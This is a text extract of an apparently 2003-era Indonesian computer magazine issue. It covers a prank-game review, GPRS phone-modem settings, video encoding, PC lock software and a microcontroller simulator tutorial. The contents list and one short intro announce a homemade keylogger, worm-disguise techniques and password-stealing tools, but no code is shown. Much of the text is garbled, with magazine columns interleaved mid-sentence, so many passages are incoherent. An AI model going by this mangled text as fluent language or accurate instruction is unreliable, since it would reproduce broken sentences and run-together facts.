Professional Documents
Culture Documents
‘Belajar’ Anti-sosial
Neighb ours from Hell
Balas Dendam terhadap Musuh Bebuyutan di Sebelah Rumah
angan anggap kelakuan anti-sosial seperti Dendam terobati, tanpa harus berurusan dengan
J yang digambarkan dalam game aneh dengan ketua RT atau bahkan polisi untuk tin-
Nieghbours from Hell ini tidak ada. Sebaliknya, dakan anti-sosial anda.
tetangga yang menyebalkan selalu ada, tetapi Masalah tetangga yang menyebalkan ternyata me-
apakah anda berani benar-benar mensabotase rupakan fenomena universal, terlihat dari adanya
tetangga itu, mulai dari merusak fotonya, me- e-book khusus yang merupakan manual menge-
nempatkan kelereng agar ia terpeleset, sampai nai bagaimana menjadi tetangga yang buruk:
mengganti lilin ulang tahunnya dengan mercon?
http://www.nfh.org.uk/humour/NFH_Manual/index.php
Mungkin tidak, dan anda hanya bisa mengelus
Oops... Jangan terlalu dianggap serius. Semua ini
dada atau malah menyerah dan pindah rumah.
hanya humor. Dan... penyaluran gejolak agresif
Kalau anda tidak berani berkonfrontasi sung-
anda dengan aman.
guhan dengan tetangga anda yang menyebal-
kan, mainkan saja game ini untuk pelampiasan http://www.jowood.com
dendam anda. (18.56 Mbyte)
HomePage
amkm Salam!
anda Handphone sebagai Modem
meminta untuk Laptop maupun PDA
kami
mendownload
Software gratis
di Internet?
Tapi besarnya...
50Mb... 200Mb?
sa—elephant • Di manapun berada, anda dapat tetap dapat menerima dan mengirim email,
maupun mem-browse web menggunakan laptop maupun PDA.
sa—gajah
Semua itu dimungkinkan karena adanya
komunikasi data CSD atau GPRS pada handphone.
30 Keylogger v. 2.0
Ukuran file yang kecil penting bagi
pembuat virus, worm, malicious code, NeoProfil
ataupun program ‘baik-baik.’
Kelanjutan C++ programming Editorial Office
tip tentang srv32.exe dan srv32.dll yang
Winhex untuk
3 4 Cairnhill Rise
merupakan keylogger buatan sendiri.
38 Mengoprek Software
#05-01 The Cairnhill
Singapore 229740
32 GuestBoook v. 1.0
GratisWare
Memperkenalkan cara mengakses file
.EXE langsung ke kode heksadesimal-
Telp. +65-67386482
Lengkapi situs anda dengan GuestBook nya dan melakukan perubahan terha- Business Office
yang fleksibel, dinamis, dan interaktif dap file itu menggunakan Winhex. Gedung Cahaya Palmerah 503
ini tanpa harus berkorban dengan Jl. Palmerah Utara III No. 9
adanya iklan (pada GuestBook jadi
yang ‘gratis’) ataupun bersusah payah
40 Visual Basic Workshop
Program Penggoda
Jakarta 11480
Telp. 021-5481457
membuatnya sendiri (sebab source code Selain membahas penyamaran worm, Fax. 021-5329041
sudah disediakan) oleh rekan kita se- dibahas pula membuat program sendiri
sama neoteker. yang menggoda agar dijalankan. Pemimpin Umum
Fachri Said
Pemimpin Redaksi
46 Video Capture
NeoReview dengan ATI-TV Wonder
Video capture ‘murah-meriah’ yang
Kosasih Iskandarsjah
Redaktur Ahli
dapat dengan mudah mengkonversi Onno W. Purbo
45 Memilih
Video Capture Box
video analog ataupun siaran TV men-
jadi video file.
Michael S. Sunggiardi
Pemimpin Usaha
Ingin mengubah koleksi video analog Fahmi Oemar
menjadi digital? Gunakan video capture
box yang bisa juga menangkap siaran
47 Ekspor ke CD, DVD,
atau DV Camcorder
Dadang Krisdayadi
Klak Klik LAPORAN DARI COMEX 2003, SUNTEC EXHIBITION HALL 4, SINGAPORE
Memori Makin Besar dan Murah Malah untuk pameran tahun depan sudah dipameran CF
alah satu ‘atraksi’ di Comex 2003 adalah orang antri card Type II dengan kapasitas 4,8 Gbyte.
S untuk mendapatkan penawaran souvenir, antri un- Informasi lebih lanjut:
tuk bisa membeli iPAQ separuh harga, serta antri membeli TwinMOS Technologies (S) Pte Ltd
CF card dan SD memory card. 175 Bencoolen Street #05-09/10/11
Betapa tidak, TwinMOS memasang pagu harga baru un- Burlington Square, Singapore 189650
tuk CF dan SD memory card yang hampir separuh harga Telp. +65-63377818, Fax: +65-63349588
dari merk-merk lain yang lebih awal ada di pasar. Website: www.twinmos.com.sg
Berikut adalah daftar harga yang memancing antrian Mobilestor Pte Ltd
panjang itu: 10 Ubi Crescent, Lobby B
Memory CF Card SD Card #03-12, Ubi Techpark, Singapore 408564
Telp. +65-67437173, Fax: +65-67436531
64 Mbyte SGD39 SGD48 Website: www.mobilestor.com.sg
128 Mbyte SGD56 SGD90
256 Mbyte SGD102 SGD142
512 Mbyte SGD199 SGD450
1 Gbyte SGD426 —
Perlu CF card yang lebih besar lagi? Magicstore dari
Mobilestor Pte Ltd menyajikan CF card Type II dengan
kapasitas 2,2 Gbyte dengan harga SGD379 dengan bonus
(boleh pilih) USB connector atau PCMCIA connector.
KO M U N I K AS I DATA LEWAT PO N S E L
CSD, HSCSD, GPRS, dan G3
Semua operator seluler di Indonesia kini sudah menyediakan fasilitas WAP yang merupakan
komunikasi data baik melalui CSD maupun GPRS. Dengan demikian, apapun operator seluler
anda, anda sudah bisa menggunakan handphone sebagai modem untuk komputer.
Cara kedua adalah meng- Kemudian aktifkan layanan GPRS ke operator telepon
gunakan layanan GPRS seluler anda (hanya IM3 dan Telkomsel, atau bila Sate-
yang sementara hanya lindo hanya di Medan dan Batam). Mengaktifkannya
disediakan oleh Telkomsel dapat secara OTA (Over The Air) dengan cara mengirim
(termasuk kartu Halo SMS ke nomor telepon yang disediakan, atau setting
dan Mentari) serta IM3. sendiri secara manual.
Nokia D211 Kecepatan transfer GPRS Yang di-setting pada dasarnya adalah: GPRS access point,
tergantung jenis ponsel IP address, dial-up number, user name, dan password.
yang anda gunakan. Nokia Setting GPRS untuk IM3 dapat dilihat di sini:
3650 dan Sony Ericsson
T610, misalnya mendu- http://www.m3-access.com/m3zone/setting/gprs.asp?it=1&is=3&isc=4&ix=9
kung GPRS Class 8 (4+1) sedangkan untuk Telkomsel di sini:
yang artinya mendukung
kecepatan transfer data http://www.telkomsel.com/content.jsp?cid=c-tech-01-gprs
(downlink) sebesar 4 x
Globetrotter 14400 bps = 57600 bps. Nomor Telepon yang Di-dial
Ponsel anda harus dapat terkoneksi dengan laptop (baik Semua akses Internet lewat GPRS men-dial ke operator
melalui port inframerah maupun kabel serial, atau telepon seluler itu sendiri dengan nomor dial yang pada
sekarang dengan bluetooth) dan menjadi modem bagi dasarnya adalah perintah koneksi modem, yaitu:
laptop tersebut. Dapat juga menggunakan GSM PCMCIA *99***X#
card yang membuat laptop anda mempunyai GPRS mo-
dem yang permanen. Contoh GSM PCMCIA card adalah dengan X = 1, 2, atau 3
Nokia D211 dan Globetrotter. Dua-duanya dapat diperoleh X adalah CID number dari layanan yang diberikan.
di pasaran. Pada laptop anda harus di-install dulu PC Suite Pada M1 (Singapore) misalnya:
selain juga modem setup/modem driver. Layanan M1-MMS, menggunakan CID=1
Layanan Mi-World-GPRS, menggunakan CID=2
Akses Internet lewat CSD Layanan Sunsurf Mobile, menggunakan CID=3
Setelah memastikan bahwa handphone anda mendukung Jadi bila mengakses Internet menggunakan layanan
komunikasi data CSD (dikenali dari handphone anda yang Sunsurf Mobile dari M1, maka nomor telepon yang di-
dapat mengakses situs WAP), maka pada handphone anda dial adalah *99***3#
tidak ada perubahan setting apa-apa lagi.
Indosat M3 memberikan layanan GPRS dengan nomor
Anda tinggal mendeteksi handphone itu sebagai modem CID=1, sehingga bila menggunakan IM3, anda harus
pada laptop dan membentuk koneksi Dial-up Networking men-dial ke nomor telepon *99***1#
yang baru menggunakan handphone tersebut.
Demikian juga dengan Telkomsel, anda bisa mengguna-
Anda mengakses Internet dengan men-dial ke ISP anda kan nomor telepon *99***1# selain nomor telepon tanpa
sendiri dengan nomor dial ke ISP itu, serta user name dan menetapkan CID-nya, yaitu *99#
password dari account anda di ISP tersebut.
IM3 Telkomsel
Bila tidak mempunyai account di ISP, anda dapat menggunakan
Konfigurasi pada Laptop
Telkomnet Instan dengan nomor dial 0809-8-9999 dan
1 Dial-up number *99***1# *99#
user id telkomnet@instan dan password telkom. 2 User name gprs wap
3 Password im3 wap123
4 Server types TCP/IP TCP/IP
Akses Internet lewat GPRS 5 Maximum speed 57600 57600
Berbeda dengan akses Internet lewat CSD yang men-dial
nomor telepon ISP, maka pada akses Internet lewat GPRS Untuk Pengguna Unix/Linux
anda menghubungkan laptop anda melalui handphone
yang GPRS-enabled ke jaringan operator seluler itu sendiri. Khusus untuk pengguna Linux, anda dapat menggunakan
kppp untuk men-dial ke operator telepon seluler meng-
Pertama kali anda harus memastikan bahwa handphone gunakan GPRS.
anda bersifat GPRS-enabled (ttidak harus MMS-enabled,
walaupun apabila MMS-enabled maka berarti juga GPRS- Hal ini dibahas secara terinci oleh rekan Yosep Fery Wibowo
enabled). Sebagai contoh Nokia 6510 adalah handphone a.k.a ferywu a.k.a exp0 yang dapat anda dibaca di sini:
yang GPRS-enabled walaupun tidak mendukung MMS. http://ferywu.sysadmin.or.id/Reading/DialGPRS.txt
Disini dibahas akses Internet dari komputer dengan sis-
IM3 Telkomsel
Setting Modem GPRS pada Handphone
tem operasi OpenBSD (sejenis sistem operasi Unix) dengan
1 Setting name M3-GPRS APN-Internet
menggunakan handphone dengan SIM card IM3 dan
2 Homepage http://wap.indosat-m3.net http://wap.telkomsel.com Telkomsel (kartu Simpati) dengan OpenBSD ppp, yang
3 GPRS access point www.indosat-m3.net internet dapat anda modifikasi agar dapat dijalankan pada berbagai
4 GPRS connection when needed when needed
5 Session mode permanent permanent distro Linux.
6 Connection security off off
7 Data bearer GPRS GPRS
Sebagai kelanjutan dari artikel ini disajikan pula artikel
8 IP address 010.019.019.019 010.001.089.130 langkah-per-langkah koneksi Internet lewat handphone,
9 Authentication type normal normal baik melalui komunikasi data CDS maupun GPRS. Dalam
10 Login type automatic automatic
11 User name gprs wap mengikutinya harus anda sesuaikan dengan jenis hand-
12 Password im3 wap123 phone anda serta operator seluler yang ands gunakan.
13 Port 9201 9201
I NTE RN ET LEWAT H P
EBENARNYA SEJAK OPERATOIR PONSEL
S menyediakan fasilitas WAP, ko-
neksi Internet lewat HP sudah
dimungkinkan. Hanya masalah biaya dan
PC SUITE DAN MODEM SETUP INSTALL NEW MODEM DON’T DETECT MODEM
1 Masuk ke situs Nokia di
http://www.nokia.com/nokia/
2 Pilih Start > Settings > Control Panel
dan double click icon Modems
3 Pada jendela dialog yang menya-
takan bahwa Windows akan men-
0,8764,65,00.html lalu pilih jenis untuk menampilkan jendela deteksi modem anda, berikan
handphone anda (sebagai contoh dialog Modems Properties. Klik tanda tick pada Don’t detect my
adalah Nokia 8210) dan down- tombol Adds dan pada jendela modem; I will select from the list
load PC Suite dan modem setup/ Install New Modem, pilih] Other lalu klik Next. Akan tampil jendela
driver untuk model itu dan install sebagai jenis modem yang akan dialog Install New Modem. Cari HP
di komputer anda. di-install. Klik Next. anda pada Nokia Mobile Phones.
I NTE RN ET LEWAT H P
ONEKSI INTERNET DENGAN HANDPHONE
K lewat komunikasi data CSD memang
masih jauh dari memuaskan, kare-
na sebenarnya memang dirancang untuk
Akses Internet lewat handphone kini bisa lebih cepat dibandingkan dial-up biasa.
BA S I C V I D E O E D I T I N G
Encoding dengan TEMPGenc
Andi Ismayadi (Fuzk3_kendi@yahoo.com) memulai bahasan tentang basic video editing
yang dimulai dengan proses encoding. Disini dibahas encoding terhadap file, sedangkan
encoding terhadap streaming video dikenal sebagai video capture dan dibahas di bagian lain.
NTUK MENGEDIT VIDEO, SEBELUMNYA ANDA HARUS hindari apabila anda memiliki
U menginput video yang anda akan edit itu ke dalam
format yang dapat dimengerti oleh PC. Encoding
PC yang berkualitas dan ber-
tenaga tinggi.
Video editing pada dasar-
nya adalah proses-proses
sebagai berikut:
memungkinkan anda memperkecil file yang harus disimpan Lamanya proses encoding diten- • Encoding
ataupun diolah oleh PC sehingga PC tidak terbebani oleh tukan dari besarnya file video • Cutting
file Video tadi yang sebegitu besarnya sehingga dapat yang akan di-encode/convert • Combining
mengakibatkan hang/crash-nya sebuah PC. itu. Ketika anda sedang melaku- • Editing
Encoding adalah proses mengkonversi format VCD atau- kan encoding lebih baik men-set • Encoding (lagi)
• Burning
pun format digital video lainnya ke bentuk MPEG-1 (VCD) Auto Shutdown yang terdapat
ataupun MPEG-2 (DVD). Banyak softwarer ripping/encoding dalam TEMPGenc.
di pasaran seperti TEMPGenc, VirtualDub, bahkan video Ada dua jenis encoding yaitu, loseless compression yang
editing tools seperti Adobe Premiere, Pinnacle, Ulead proses disini proses encoding tidak membuang informasi
VideoStudio, dan lain-lain juga menyertakan fasilitas yang dipandang tidak perlu, namun hanya mengaturnya
meng-encode video itu dalam dalam fasilitas mereka. agar lebih "hemat" space.
Diantara sekian banyak software, encoding yang bagus Yang kedua adalah lossy compresion, yang disini akan
menurut saya adalah TEMPGenc dan VirtualDub. Saya membuang informasi tambahan yang dipandang tidak
cenderung menggunakan TEMPGenc karena TEMPGenc perlu sehingga tempat yang diperlukan lebih sedikit,
jarang sekali crash sehingga lebih nyaman penggunaanya. walaupun jenis ini akan memakan lebih sedikit tempat
VirtualDub sering crash, namun menghasilkan kualitas dibandingkan lossless compresion tetapi akan membuang
diatas TEMPGenc (VirtualDub dibahas di NeoTek III/10). informasi.
Dalam proses meng-encode video saya anjurkan menutup Lossy compresion sendiri ada tiga jenis, MPEG-1 (untuk
semua program apapun kecuali program text processor VCD/SVCS), MPEG-2 (untuk DVD), dan MPEG-4 (un-
seperti Ms Word atau Notepad. Ini karena encoding ba- tuk Streaming Video di internet).
nyak memakan tenaga dari PC itu, tapi hal itu dapat di-
Langkah-langkah Encoding
Kita buka file video yang akan kita encode, bisa dalam Untuk DVD, NTSC memiliki resolusi 720x480 dengan ting-
1 format .AVI maupun .DAT, dalam contoh ini saya akan
meng-Encode format .DAT ke .MPEG-1 (untuk vcd). 2 kat kecepatan frame gambar 29.97 fps, lebih bagus diban-
dingkan PAL, tapi PAL memungkinkan penggunaan resolusi
Setelah itu kita buka TEMPGenc, untuk mulai meng- diatas 720x480, tapi kecepatan frame gambarnya diperkecil
Encode menjadi 25 fps. Dalam praktek ini saya menggunakan PAL
Ketika membuka TEMPGenc kita langsung disuguhkan karena ketika video sudah jadi gambar tidak terlalu pecah-
dengan dua jenis standar transmisi video yang terdapat pecah ketika di-zoom, walaupun ada bagian/adegan yang
dalam setiap file video di seluruh dunia, PAL dan NTSC. agak lambat. Untuk VCD dan SVCD tidak jauh berbeda,
Apa bedanya? hanya saja resolusinya lebih kecil dibandingkan DVD.
Sesudah kita memilih PAL sebagai system transmisi vi- Sesudah itu akan muncul kembali bar baru untuk men-
3 deo, selanjutnya kita akan diminta untuk memasukkan
file video yang akan di-encode. Sewaktu mencari file- 4 set Filter terhadap source video. Kita gunakan Default
Option saja karena pilihan ini dianjurkan untuk yang
nya kita bisa melihat format apa saja yang dikenali sudah mahir dalam mengedit video.
TEMPGenc untuk di-encode. Kalau kita membuka file
.DAT, yang artinya kita buka dari VCD (terdapat dalam
folder mpegav), nama file tersebut sering kali bernama
Avseq1.DAT dan jarang sekali namanya lain daripada itu.
Buka Hypercam. Pertama kali anda membuka akan Dengan menggunakan Select Region Button anda dapat
1 tampil pesan yang berpromosi agar anda membeli tool
ini. Tampilan awal Hypercam akan berupa Tab Screen 2 men-set sendiri lebar layar anda dengan cara men-drag
mouse anda seperti terlihat di gambar.
Area, yang di sini anda dapat men-set panjang dan
lebar layar yang akan di-shot. Lalu ada tombol-tombol
properties Hypercam, seperti Hide Hypercam Window,
Flashing Border ketika recording, dan optimasi pere-
kaman dengan menggunakan fasilitas DirectX.
Apabila anda mengaktifkan tombol Hide Windows-nya, Setelah itu, di sebelahnya ada Tab AVI File yang meru-
3 anda akan kerepotan apabila tidak mengetahui tombol
shortcut atau Hot Key-nya. Pada Tab Hot Key anda dapat 4 pakan konfigurasi file output anda dan opsi-opsi lainnya.
File output akan di-save menjadi format video .AVI.
menyesuaikan tombol mana yang akan dijadikan hot
key dari play/stop recording atau Single Frame shot
Untuk merekam suara anda ke dalam e-tutor tadi, per- Anda dapat melihat video e-tutor anda nanti dengan
5 tama yang anda butuhkan adalah microphone yang di-
colokan ke sound card anda, lalu men-setting-nya di Tab 6 menggunakan Real Player, nah disini terlihat apabila
anda menggunakan versi yang belum terregistrasi di
Sound, disini anda dapat memilih berbagai macam kua- pojok kiri layar anda terlihat kata Unregistered Version.
litas suara yang akan anda hasilkan nantinya.
Pada situs http://www.hyperionics.com/ anda dapat membeli Belum siap untuk keluar uang membeli Hypercam full ver-
7 full version-nya dan menghilangkan kata-kata tadi. Setelah
itu anda masukan Serial Numbernya ke Tab License, sesu- 8 sion? Gunakan saja Windows Media Encoder (ada di CD
NeoTek kali ini) yang salah satu fungsinya adalah capture
dah dimasukkan, silahkan menikmati full version-nya. screen activity lengkap dengan input suara dari microphone.
MEDIA ENCODER
ERNAH MERASA JENGKEL KARENA TIDAK
P dapat men-download musik kesa-
yangan anda karena server-nya ha-
nya menyajikan stream audio dan bukannya
Audio stream dari RealOne Player dengan mudah dikonversi menjadi file WMA
Selain untuk tujuan utamanya, Windows audio ke audio yang dapat anda beli di multimedia streaming content di Inter-
Media Encoder dapat ‘disalahgunakan’ toko-toko elektronik atau mengguna- net pada berbagai kecepetan koneksi
untuk mengkonversi audio/video stream kan adaptor yang menghubungkan mulai dari dial-up modem sampai broad-
menjadi file format WMA (Windows kedua port RCA audio (merah dan band maupun
Media Audio) atau wmv (Windows Me- putih) ke port tunggal audio yang me- mobile media
dia Video). rupakan jenis port baik untuk speaker content.
Tidak ada tambahan hardware apapun maupun line-in pada audio card.
pada komputer anda (kecuali mungkin Persyaratan hardware pun tidak perlu
kabel audio yang sesuai dengan port- tinggi-tinggi, kecuali bila anda ingin
port yang akan digunakan). menggunakan Windows Media Enco-
Audio source anda adalah speaker port der untuk men-encode video stream.
pada audio card anda dan dari sini di- Bahasan tentang cara meng-encode
feed ke line-in pada audio card yang video stream terdapat pada NeoReview
sama. Dengan cara ini hasil encode da- edisi ini dan cara ini yang lebih dian-
ri stream audio akan bebas noise dan jurkan untuk keperluan pribadi dari-
mutunya sebaik sumbernya. Anda pada Windows Media Encoder yang keluar dari speaker port
harus mempunyai kabel dengan jack diarahkan untuk pengembangan masuk ke line-in port
PC S E C U R IT Y
Satpam Komputer Anda
Keamanan komputer bukan saja terhadap ancaman yang datang lewat
network atau Internet, melainkan juga dari tangan-tangan jahil atau
kebodohan teman sendiri. Eryanto Sitorus (ery@postmaster.co.uk)
membahas PC Security untuk anda
EBAGAI PEMILIK KOMPUTER YANG PENGGUNAANNYA LE- Jangan lupa bahwa agar anda nanti bisa mengakses program
S bih banyak dipakai untuk kepentingan pribadi, saya
yakin anda tentu tidak ingin orang lain bisa semba-
ini, maka setiap kali program ini dijalankan, anda akan di-
minta memasukkan kata sandi (password) terlebih dahulu.
rangan meminjam/memakai komputer pribadi anda. Anda
pasti akan sangat khawatir bila yang meminjam itu bukan-
nya cuma sekedar meminjam, tapi malah mengobrak-abrik
seluruh data/program yang ada di komputer anda.
Dan satu hal lagi yang paling anda takutkan adalah, jangan-
jangan orang tersebut nanti malah dial-up ke ISP, chatting,
check mail, atau surfing ke dalam situs-situs yang tidak se-
nonoh tanpa mengenal rasa malu dan waktu.
Benar atau tidak dugaan saya, yang jelas apa yang diilustra-
sikan di atas adalah contoh satu permasalahan yang sering
dialami para pemilik PC (Personal Computer), khususnya
mereka yang masih menggunakan Windows sebagai opera-
ting system. Nah, jika ternyata anda memang sering atau
setidaknya pernah mengalami masalah seperti itu, sekarang
anda tidak perlu merasa risau, gelisah, atau khawatir lagi
karena sudah ada software yang bisa dimanfaatkan untuk
mengatasinya, yaitu dengan PC Security.
Namun sebelum saya mulai menjelaskan bagaimana cara
program ini nanti bisa melindungi dan menjaga privacy Gambar 2. Memasukkan kata sandi
komputer anda dari orang-orang yang lebih suka meminjam
daripada membeli, saya ingin menegaskan bahwa PC Secu- Karena baru pertama kali ini anda menjalankannya, maka
rity hanya bisa dijalankan pada Windows 95/98/ME/2000/XP ketiklah SECURITY sebagai kata sandinya.
atau NT. Sedangkan spesifikasi hardware yang perlu anda Kemudian langkah berikutnya (sesuai dengan apa yang te-
siapkan agar ia bisa bekerja secara optimal, adalah: lah dipesankan kepada anda), gantilah password yang per-
• Komputer: IBM or compatible tama kali anda ketik tadi dengan password yang lain berda-
• Processor : Pentium/compatible or higher
• RAM : 32MB or higher
Dan sekedar tambahan informasi lagi buat anda, PC Security
adalah milik perusahaan Tropical Software yang dikembang-
kan oleh Silvio Kuczynski, Chris Whitten, dan Erik Curre.
Sebelum di-instal, ukuran filenya hanya 938KB saja. Jadi
kalau anda nanti memang berniat ingin menginstalnya di
komputer anda sendiri, downloadlah software tersebut di
http://www.tropsoft.com.
Nah, setelah software tersebut selesai anda download dan
instal, sekarang marilah kita lihat bersama-sama, apa saja
yang bisa dilakukan PC Security terhadap komputer kita.
Mengoperasikan PC Security
Pertama-tama, jalankan dulu
program yang baru anda instal
tadi dari Start > Programs > PC
Security for Windows > PC
Security, atau double-click ikon
PC Security dari menu toolbars
seperti terlihat pada Gambar 1.
Gambar 3. Tampilan program PC Security
Gambar 1. Ikon PC Security
Gambar 12. Memilih drive dan folder yang akan dikunci Gambar 14. Menjadwalkan penguncian sistem.
Gambar 15. Mengaktifkan fasilitas Intruder Detection. Gambar 17. Memilih aplikasi yang boleh/tidak boleh dijalankan.
Secara teknis, fungsi utama program ini adalah untuk men- Fungsi utama program ini adalah untuk mengatur program-
deteksi adanya kesalahan pada saat memasukkan password. program aplikasi apa saja yang boleh atau yang tidak boleh
Jika anda atau orang lain salah dalam memasukkan password, dijalankan di system komputer anda.
maka PC Security akan segera mengunci Desktop komputer Berikut ini adalah petunjuk penggunaannya:
anda dan menampilkan pesan peringatan (warning).
• Klik menu Restricted System
Berikut ini adalah petunjuk penggunaannya:
• Tentukan drive serta folder tempat aplikasi berada
• Klik menu Intruder Detection
• Klik opsi Active, Sound Alarm dan Lock the system • Tentukan file aplikasinya
• Tentukan berapa kali password boleh di coba • Klik tombol Permit bila anda mengizinkan aplikasi itu
boleh dijalankan, atau
8. Explorer Control
• Klik tombol Restricted bila anda tidak mengizinkannya
Demikianlah akhir penjelasan saya, mudahan-mudahan apa
yang dibahas dalam artikel ini bermanfaat bagi anda semua.
Alternatif Freeware: WinLock 3.2
PCSecurity yang terdapat pada CD NeoTek berupa share-
ware. Bagi yang menginginkan program sejenis yang full
version, silakan gunakan WinLock 3.2 yang semenjak di-
luncurkankan versi 4.0, full version-nya disediakan gratis.
Berikut beberapa layar tampilan WinLock 3.2. Penggunaan-
nya sangat mudah. Silakan coba sendiri.
PC S E C U R IT Y
Password Network Neighborhood
Kembali kerawanan network neighborhood dibahas. Kali ini dengan memperkenalkan PQwak dan
Internet Maniac, dua software yang karena cara kerjanya dikategorikan sebagai software yang
berbahaya oleh program antivirus. Bagaimana tidak, kalau kerjanya mencuri password.
Bahasa A ssembly
Menjajal Kemampuan Pemicro Win I DE
Hardy The (hardythe@cbn.net.id) membahas Pemicro Win IDE yang merupakan tool lengkap,
dan kali ini dibahas Simulator, In-Circuit Simulator, dan In-Circuit Debugger.
IN IDE YANG PERNAH ANDA DOWNLOAD (KXICS)PU-
W nya beberapa subprogram yang bisa kita coba de-
ngan routine Simple I O.asm (ada di CD NeoTek).
Subprogram Win IDE terdiri dari: Text Editor, Assembler,
In-Circuit Simulator, Programmer, In-Circuit Debugger.,
Simulatior, Text Editor, dan Assembler sudah pernah diba- Tekan tombol Simulation. Register yang belum pernah di-
has sebelumnya. Simulator, ICS, dan ICD pernah dising- sentuh instruksi MCU akan bertanda XX atau UU atau
gung tapi kali ini lengkap dengan penerapannya. tertulis Uninitialized memory. Tulisan Pod Detected: No
artinya tidak menggunakan hardware.
Bagi yang masih kesulitan men-download software ini, da-
lam CD NeoTek kali ini disediakan dua versi ICS Win IDE,
yaitu ics08kxz_version_1_04A_020402 (versi 1.04) dan
ics08kxz_version_1_01 (versi 1.01).
Simulator.
Simulator yang mensimulasi (menirukan fungsi MCU tanpa
I/O) adalah tool yang paling murah karena tidak perlu hard- Selanjutnya Anda bisa tekan tombol Step atau Multiple Step
ware. Semua dikerjakan di dalam komputer. bahkan Go. Untuk menghentikan, tekan Stop. Tombol Reset
Praktek dengan Simulator. akan mengembalikan ke kondisi awal tapi harus diingat data
di RAM tetap bertahan. Perhatikan nilai pada lokasi $40 di
Copy file Simple I O 2.asm dari CD NeoTek ke hard disk dalam Memory Window 1 yang mendapat label Temp1
anda, lalu buka file ini dengan Text Editor Win IDE. Jangan (yang akan terbaca waktu mouse pointer berada di address
lupa copy file STARTUP.08 dan startup.icd dari dalam fol- itu) sebelum dan sesudah menekan Reset.
der pemicro hasil instalasi ke folder yang sama dengan loka-
si Simple I O 2.asm. Tekan tombol Assemble/Compile File Sewaktu Simulator bekerja dengan Step, Multiple Step, atau
dan pastikan akan terbentuk file-file: Go (dianjurkan pakai Multiple Step), kita akan menemukan
Simple I O 2.BAK, Simple I O 2.lst, Simple I O 2.map, bahwa software tidak menunggu di loop Top dan dua baris
Simple I O 2.s19. selanjutnya, melainkan langsung menuju delay debounce.
Hal ini disebabkan Simulator tidak bisa menirukan I/O yang
bersifat Input (I/O sebagai input selalu membaca input sebe-
narnya) kecuali software yang menyediakan juga simulator
I/O dalam softwarenya seperti Code Warrior HC08 ver. 2.
Apapun yang ditulis untuk mengubah port A pin 3 tidak
menghasilkan apa-apa (tetap 0) karena memang demikian
sifat asli yang ditiru. Input tidak bisa diberi logika kecuali
secara fisik. Sekedar untuk melihat MCU menunggu di
loop input, cobalah ubah BNE TOP menjadi BEQ TOP.
Delay loop yang seharusnya dilaksanakan sekitar 50 mS
sekarang menjadi jauh lebih lama. Silakan hitung waktu-
nya karena ini berhubungan dengan kecepatan CPU kom-
puter atau berhubungan dengan jatah waktu tasking ope-
rating system yang dipakai dan ini sudah diluar bahasan
kita. Bila terus dibiarkan maka setelah selesai delay debounce
akan melewati penyalaan LED dan masuk ke delay 1 detik.
Dilanjutkan dengan menunggu di OffLp karena logika input Praktek dengan In-Circuit Simulator.
tidak bisa diubah. Melompati loop bisa dilakukan dengan
mengubah Program Counter menjadi 3 byte lebih tinggi
(dengan double click Register PC lalu naikkan nilainya 3
byte) karena instruksi di OffLp itu panjangnya 3 byte. Cara
mudahnya dengan double click di titik biru sisi kiri JSR
DLY50 di Code Window 1. Command itu bernama GoTil Hubungkan PC dengan POD (misalnya mini-EVM) dan
0000xxxx yang bisa dibaca di window status. jangan lupa Simple I/O nya juga sebagai target.
Metode lain mencapai baris tertentu adalah memasang break- Tekan tombol In-Circuit Simulator. Register yang belum
point di dalam program. Breakpoint adalah jebakan yang pernah disentuh instruksi MCU akan bertanda XX atau UU
akan menghentikan simulator bila breakpoint diakses. Pasang tapi tulisan Uninitialized Memory di port B tidak ada melain-
breakpoint dan tekan tombol Go. Hasilnya jauh lebih cepat kan nilai dari I/O sebenarnya. Tulisan POD detected: YES
tercapai baris tersebut. Pada Simulator breakpoint bisa dipa- karena sekarang ada hardware terdeteksi. Simulator dan
sang banyak karena semua di urus oleh Personal Computer. ICS memiliki interface yang sama kecuali info POD tersebut.
Pemasangan breakpoint di sini dilakukan (oleh software bu- Apabila tombol ICS yang ditekan tapi tidak berhasil connect
kan user seperti anda) dengan mencatat address yang dipa- dengan POD, maka akan ditawarkan Simulation Only
sangi breakpoint. Apabila instruksi yang akan dilaksanakan
baik dengan Step atau Go cocok dengan address breakpoint,
maka Go atau GoTil akan stop pada breakpoint tersebut sambil
menuliskan preset breakpoint encountered di window status.
Sebenarnya Go dengan breakpoint sama saja dengan step,
check breakpoint dan step lagi bila tak ada breakpoint yang
cocok, tapi karena tidak perlu refresh tampilan di layar kom-
puter, maka hasilkan akan lebih cepat tapi tetap tidak RealTime.
Uniknya breakpoint juga bisa dilakukan pada
Accumulator BREAKA [<n> [<address>]] dan
Register HX BREAKHX [<n> [<address>]] dan
Stack Pointer SP BREAKSP [<n> [<address>]]
Di Simulator, Reset atau Stop bisa dilakukan kapan saja ka-
rena semua dikontrol oleh PC.
Dengan Simulator, anda bisa melihat efek setiap instruksi.
Memory Window 1 bisa di-scroll. Bandingkan nilai sebelum
dan sesudah instruksi dilaksanakan (telah dilewati).
Bila ada yang tak dimengerti, silakan email ke milis hc05_08jkt
di Yahoo! (hhttp://groups.yahoo.com/group/hc05_08jkt/) Bila kemudian tombol ini yang dipilih, maka Simulator yang
atau langsung ke hardythe@cbn.net.id. Pelajari juga cara kerja terpilih (tentunya POD = No).
JSR (Jump to Subroutine) yang menyimpan address return Karena ICS tidak menggunakan Flash ROM MCU di POD,
di Stack (default addressnya di FF) dan nilai stack pointer ICS tidak perduli Flashnya ada program atau tidak. Security
yang berubah sewaktu sedang melaksanakan subroutine. bytenya sebagai syarat akses ke Flash ROM cukup di-iignore
Lakukan ini dengan Step untuk JSR pertama (delay debounce) karena ICS tidak perlu akses ke Flash ROM.
dan pakai breakpoint untuk yang delay 1 detik. Kedua JSR
ini menyimpan return address yang berbeda. Tapi bila Flashnya kosong (erased) konfigurasi cukup 1 kali
dibandingkan bila Flash not erased perlu reset 1 kali. Dengan
In-Circuit Simulator. mini-evm yang power cyclingnya otomatis (class 1) reset
cukup dengan menekan tombol di dialog box communica-
Kalau Simulator punya kelemahan tidak memiliki I/O, maka tion error. Debugger artikel neotek perlu power cycling
In-Circuit Simulator menjawab kebutuhan ini melalui POD. manual setiap reset.
MCU di ICS dikonfigurasi oleh PC (lihat di window status
waktu kontak dengan POD) menjadi kurir I/O MCU ke PC, Tombol Step, Multiple Step, Go, Stop, dan Reset bekerja
bukan sebagai MCU yang berdiri sendiri. POD bisa dibuat seperti di Simulator dan bisa dilakukan kapan saja karena
sendiri berupa debugger atau Mini-EVM (dibuat penulis semua dikontrol oleh PC.
